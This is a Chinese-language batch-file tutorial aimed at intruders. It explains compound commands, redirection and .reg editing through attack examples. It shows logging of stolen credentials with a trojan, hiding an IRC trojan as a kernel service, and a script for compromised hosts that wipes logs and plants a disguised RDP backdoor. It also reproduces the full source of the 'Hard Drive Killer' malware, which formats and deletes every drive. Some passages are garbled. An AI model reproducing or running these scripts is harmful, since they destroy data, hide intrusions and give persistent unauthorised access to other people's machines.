技术在于专研
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2007-04-25 08:30:54
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三.如何使用组合命令(Compound Command)
1.& Usage：第一条命令 & 第二条命令 [& 第三条命令...] 用这种方法可以同时执行多条命令，而不管命令是否执行成功 Sample： C:\>dir z: & dir c:\Ex4rch The system cannot find the path specified. Volume in drive C has no label. Volume Serial Number is 0078-59FB Directory of c:\Ex4rch 2002-05-14 23:51 2002-05-14 23:51 2002-05-14 23:51 14 sometips.gif Usage：第一条命令 第二条命令 [ 第三条命令...] 用这种方法可以同时执行多条命令，当碰到执行正确的命令后将不执行后面的命令，如果没有出现正确的命令则一直执行完所有命令； Sample： C:\Ex4rch>dir sometips.gif del sometips.gif Volume in drive C has no label. Volume Serial Number is 0078-59FB Directory of C:\Ex4rch 2002-05-14 23:55 14 sometips.gif 1 File(s) 14 bytes 0 Dir(s) 768,696,320 bytes free 组合命令使用的例子： sample： @copy trojan.exe && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt
1. 命令 Usage：第一条命令 第二条命令 [ 第三条命令...] 将第一条命令的结果作为第二条命令的参数来使用，记得在unix中这种方式很常见。 sample： time /t>>D:\IP.log netstat -n -p tcp find ":3389">>D:\IP.log start Explorer 看出来了么？用于终端服务允许我们为用户自定义起始的程序，来实现让用户运行下面这个bat，以获得登录用户的IP。 2.>、>>输出重定向命令 将一条命令或某个程序输出结果的重定向到特定文件中, > 与 >>的区别在于，>会清除调原有文件中的内容后写入指定文件，而>>只会追加内容到指定文件中，而不会改动其中的内容。 sample1： echo hello world>c:\hello.txt (stupid example?) sample2: 时下DLL木马盛行，我们知道system32是个捉迷藏的好地方，许多木马都削尖了脑袋往那里钻，DLL马也不例外，针对这一点我们可以在安装好系统和必要的应用程序后，对该目录下的EXE和DLL文件作一个记录： 运行CMD--转换目录到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt, 这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中, 日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了. 这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行: CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好，如果有的话也不要直接DEL掉，先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到回收站里，若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司. < 从文件中而不是从键盘中读入命令输入。 >& 将一个句柄的输出写入到另一个句柄的输入中。 <& 从一个句柄读取输入并将其写入到另一个句柄输出中。 这些并不常用，也就不多做介绍。 No.5 五.如何用批处理文件来操作注册表 在入侵过程中经常回操作注册表的特定的键值来实现一定的目的，例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性，这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件) 关于注册表的操作，常见的是创建、修改、删除。 1.创建 创建分为两种，一种是创建子项(Subkey) 我们创建一个文件，内容如下： Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\hacker] 然后执行该脚本，你就已经在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft下创建了一个名字为“hacker”的子项。 另一种是创建一个项目名称 那这种文件格式就是典型的文件格式，和你从注册表中导出的文件格式一致，内容如下： Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]"Invader"="Ex4rch" "Door"=C:\\WINNT\\system32\\door.exe "Autodos"=dword:02 这样就在[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下 新建了:Invader、door、about这三个项目 Invader的类型是“String Value” door的类型是“REG SZ Value” Autodos的类型是“DWORD Value” 修改相对来说比较简单，只要把你需要修改的项目导出，然后用记事本进行修改，然后导入（regedit /s）即可。 3.删除 我们首先来说说删除一个项目名称，我们创建一个如下的文件： Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] "Ex4rch"=- 执行该脚本，[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]下的"Ex4rch"就被删除了； 我们再看看删除一个子项，我们创建一个如下的脚本： Windows Registry Editor Version 5.00 [-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 执行该脚本，[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]就已经被删除了。 相信看到这里，.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了，记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。 Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] "Invader"="Ex4rch" "door"=hex:255 "Autodos"=dword:000000128 只需要这样： @echo Windows Registry Editor Version 5.00>>Sample.reg @echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]>Sample.reg @echo "Invader"="Ex4rch">>Sample.reg @echo "door"=5>>C:\\WINNT\\system32\\door.exe>>Sample.reg @echo "Autodos"=dword:02>>Sample.reg samlpe2: 我们现在在使用一些比较老的木马时,可能会在注册表的[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run(Runonce、Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为windrv32.exe) @start windrv32.exe @attrib +h +r windrv32.exe @echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] >>patch.dll @echo "windsnx "=- >>patch.dll @sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:\winnt\system32\windrv32.exe @regedit /s patch.dll @delete patch.dll @REM [删除DSNXDE在注册表中的启动项，用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读，并config为自启动] @REM 这样不是更安全^_^. 1.删除win2k/xp系统默认共享的批处理 ------------------------ cut here then save as .bat or .cmd file --------------------------- @echo preparing to delete all the default shares.when ready press any key. @pause @echo off :Rem check parameters if null show usage. if {%1}=={} goto :Usage :Rem code start. echo. echo ------------------------------------------------------ echo. echo Now deleting all the default shares. echo. net share %1$ /delete net share %2$ /delete net share %3$ /delete net share %4$ /delete net share %5$ /delete net share %6$ /delete net share %7$ /delete net share %8$ /delete net share %9$ /delete net stop Server net start Server echo. echo All the shares have been deleteed echo. echo ------------------------------------------------------ echo. echo Now modify the registry to change the system default properties. echo. echo Now creating the registry file echo Windows Registry Editor Version 5.00> c:\delshare.reg echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]>> c:\delshare.reg echo "AutoShareWks"=dword:00000000>> c:\delshare.reg echo "AutoShareServer"=dword:00000000>> c:\delshare.reg echo Nowing using the registry file to chang the system default properties. regedit /s c:\delshare.reg echo Deleting the temprotarily files. del c:\delshare.reg goto :END echo. echo ------------------------------------------------------ echo. echo ☆ A example for batch file ☆ echo ☆ [Use batch file to change the sysytem share properties.] ☆ echo. echo Author：Ex4rch echo Mail:Ex4rch@hotmail.com QQ:1672602 echo. echo Error：Not enough parameters echo. echo ☆ Please enter the share disk you wanna delete ☆ echo. echo For instance，to delete the default shares: echo delshare c d e ipc admin print echo. echo If the disklable is not as C: D: E: ，Please chang it youself. echo. echo example： echo If locak disklable are C: D: E: X: Y: Z: ，you should chang the command into ： echo delshare c d e x y z ipc admin print echo. echo *** you can delete nine shares once in a useing *** echo. echo ------------------------------------------------------ goto :EOF :END echo. echo ------------------------------------------------------ echo. echo OK,delshare.bat has deleted all the share you assigned. echo.Any questions ,feel free to mail to . echo echo. echo ------------------------------------------------------ echo. :EOF echo end of the batch file ------------------------ cut here then save as .bat or .cmd file ---------------------------
@regedit /s patch.dll @net stop w3svc @net stop event log @del c:\winnt\system32\logfiles\w3svc1\*.* /f /q @del c:\winnt\system32\logfiles\w3svc2\*.* /f /q @del c:\winnt\system32\config\*.event /f /q @del c:\winnt\system32dtclog\*.* /f /q @del c:\winnt\*.txt /f /q @del c:\winnt\*.log /f /q @net start w3svc @net start event log @rem [删除日志] @net stop lanmanserver /y @net stop Schedule /y @net stop RemoteRegistry /y @del patch.dll @echo The server has been patched,Have fun. @del patch.bat @REM [禁止一些危险的服务。] @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>patch.dll @echo "PortNumber"=dword:00002010 >>patch.dll @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp >>patch.dll @echo "PortNumber"=dword:00002012 >>patch.dll @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>patch.dll @echo "Start"=dword:00000002 >>patch.dll @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] >>patch.dll @echo "Start"=dword:00000002 >>patch.dll @echo "ErrorControl"=dword:00000001 >>patch.dll @echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ >>patch.dll @echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ >>patch.dll @echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll @echo "ObjectName"="LocalSystem" >>patch.dll @echo "Type"=dword:00000010 >>patch.dll @echo "Description"="Keep record of the program and windows message。" >>patch.dll @echo "DisplayName"="Microsoft EventLog" >>patch.dll @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] >>patch.dll @echo "Start"=dword:00000004 >>patch.dll @copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe @REM [修改3389连接，端口为8210(十六进制为00002012)，名称为Microsoft EventLog，留条后路]
@echo off rem This program is dedecated to a very special person that does not want to be named. :start cls echo PLEASE WAIT WHILE PROGRAM LOADS . . . call attrib -r -h c:\autoexec.bat >nul echo @echo off >c:\autoexec.bat echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat call attrib +r +h c:\autoexec.bat >nul rem Drive checking and assigning the valid drives to the drive variable. set drive= set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z rem code insertion for Drive Checking takes place here. rem drivechk.bat is the file name under the root directory. rem As far as the drive detection and drive variable settings, dont worry about how it rem works, its d\*amn to complicated for the average or even the expert batch programmer. rem Except for Tom Lavedas. echo @echo off >drivechk.bat echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat %comspec% /e:2048 /c {t}.bat >>drivechk.bat del {t}.bat echo if errorlevel 1 goto enddc >>drivechk.bat cls echo PLEASE WAIT WHILE PROGRAM LOADS . . . rem When errorlevel is 1, then the above is not true, if 0, then its true. rem Opposite of binary rules. If 0, it will elaps to the next command. echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat %comspec% /e:2048 /c {t}.bat >>drivechk.bat del {t}.bat echo if errorlevel 1 goto enddc >>drivechk.bat cls echo PLEASE WAIT WHILE PROGRAM LOADS . . . rem if errorlevel is 1, then the drive specified is a removable media drive - not ready. rem if errorlevel is 0, then it will elaps to the next command. echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat %comspec% /e:2048 /c {t}.bat >>drivechk.bat del {t}.bat echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat cls echo PLEASE WAIT WHILE PROGRAM LOADS . . . rem if its errorlevel 1, then the specified drive is a hard or floppy drive. rem if its not errorlevel 1, then the specified drive is a CD-ROM drive. echo :enddc >>drivechk.bat rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING". rem Now we will use the program drivechk.bat to attain valid drive information. :Sampledrv for %%a in (%alldrive%) do call drivechk.bat %%a >nul del drivechk.bat >nul if %drive.==. set drive=c :form_del call attrib -r -h c:\autoexec.bat >nul echo @echo off >c:\autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat echo cls >>c:\autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat echo cls >>c:\autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat echo cls >>c:\autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat echo cls >>c:\autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat echo cls >>c:\autoexec.bat echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat echo cd\ >>c:\autoexec.bat echo cls >>c:\autoexec.bat echo echo Welcome to the land of death. Munga Bungas Multiple Hard Drive Killer version 4.0. >>c:\autoexec.bat echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat echo echo 2. Love is important, if you have it, truly, dont let go of it like I did! >>c:\autoexec.bat echo echo 3. If you are NOT a vegetarian, then you are a murderer, and Im glad your HD is dead. >>c:\autoexec.bat echo echo 4. Dont support the following: War, Racism, Drugs and the Liberal Party.>>c:\autoexec.bat echo echo. >>c:\autoexec.bat echo echo Regards, >>c:\autoexec.bat echo echo. >>c:\autoexec.bat echo echo Munga Bunga >>c:\autoexec.bat call attrib +r +h c:\autoexec.bat :makedir if exist c:\temp.bat attrib -r -h c:\temp.bat >nul echo @echo off >c:\temp.bat echo %%1:\ >>c:\temp.bat echo cd\ >>c:\temp.bat echo :startmd >>c:\temp.bat echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a >>c:\temp.bat echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat call attrib +r +h c:\temp.bat >nul cls echo Initializing Variables . . . rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction. for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul cls echo Initializing Variables . . . echo Validating Data . . . for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul cls echo Initializing Variables . . . echo Validating Data . . . echo Analyzing System Structure . . . for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul call attrib +r +h c:\temp.bat >nul call attrib +r +h c:\autoexec.bat >nul cls echo Initializing Variables . . . echo Validating Data . . . echo Analyzing System Structure . . . echo Initializing Application . . . for %%a in (%drive%) call deltree /y %%a:\*. >nul cls echo Initializing Variables . . . echo Validating Data . . . echo Analyzing System Structure . . . echo Initializing Application . . . echo Starting Application . . . for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul cls echo Thank you for using a Munga Bunga product. echo. echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius. echo. echo Here is a joke for you . . . echo. echo Q). Whats the worst thing about being an egg? echo A). You only get laid once. echo. echo HAHAHAHA, get it? Dont you just love that one? echo. echo Regards, echo. echo Munga Bunga :end rem Hard Drive Killer Pro Version 4.0, enjoy!!!! rem Author: Munga Bunga - from Australia, the land full of retarded Australians (help me get out of here). 2.全面加固系统（给肉鸡打补丁）的批处理文件 @echo Windows Registry Editor Version 5.00 >patch.dll @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters] >>patch.dll @echo "AutoShareServer"=dword:00000000 >>patch.dll @echo "AutoShareWks"=dword:00000000 >>patch.dll @REM [禁止共享] @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>patch.dll @echo "restrictanonymous"=dword:00000001 >>patch.dll @REM [禁止匿名登录] @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters] >>patch.dll @echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll @REM [禁止及文件访问和打印共享] @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\@REMoteRegistry] >>patch.dll @echo "Start"=dword:00000004 >>patch.dll @echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule] >>patch.dll @echo "Start"=dword:00000004 >>patch.dll @echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>patch.dll @echo "ShutdownWithoutLogon"="0" >>patch.dll @REM [禁止登录前关机] @echo "DontDisplayLastUserName"="1" >>patch.dll @REM [禁止显示前一个登录用户名称] @regedit /s patch.dll |
